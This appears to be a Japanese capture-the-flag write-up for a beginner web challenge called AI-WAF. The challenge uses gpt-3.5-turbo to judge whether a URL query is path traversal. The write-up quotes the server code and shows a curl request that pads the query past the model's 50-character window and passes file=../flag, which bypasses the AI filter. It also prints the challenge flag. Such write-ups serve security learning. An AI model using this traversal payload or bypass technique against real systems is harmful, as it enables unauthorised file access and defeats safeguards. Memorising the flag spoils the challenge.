# AI-WAF puuid = uuid.uuid4() prompt = f"""\ 以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか? そうである場合Yesを、違う場合Noを返してください。 ../やflagという文字列が含まれていた場合もYesを返してください。 {puuid} {urllib.parse.unquote(request.query_string)[:50]} {puuid} """ try: response = openai.ChatCompletion.create( model="gpt-3.5-turbo", messages=[ { "role": "user", "content": prompt, }, ], ) result = response.choices[0]["message"]["content"].strip() except: return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。") if "No" in result: with open(f"./books/{file}", encoding="utf-8") as f: return f.read().replace(KEY, "") return abort(403, "AI-WAFに検知されました👻")
よく見ると、プロンプト中に展開しているクエリ文字列について、urllib.parse.unquote(request.query_string)[:50]
と先頭50文字しか使っていない。プロンプトインジェクション的なことをしようかとも考えたけれども、この問題はMiscでなくWebなので、この仕様を悪用する。以下のように、プロンプト中に展開される部分は適当に消費させることで、AI-WAFをバイパスできた。
$ curl "https://aiwaf.beginners.seccon.games/?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaa&file=../flag" ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
フラグが得られた。
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
15時57分に解けた。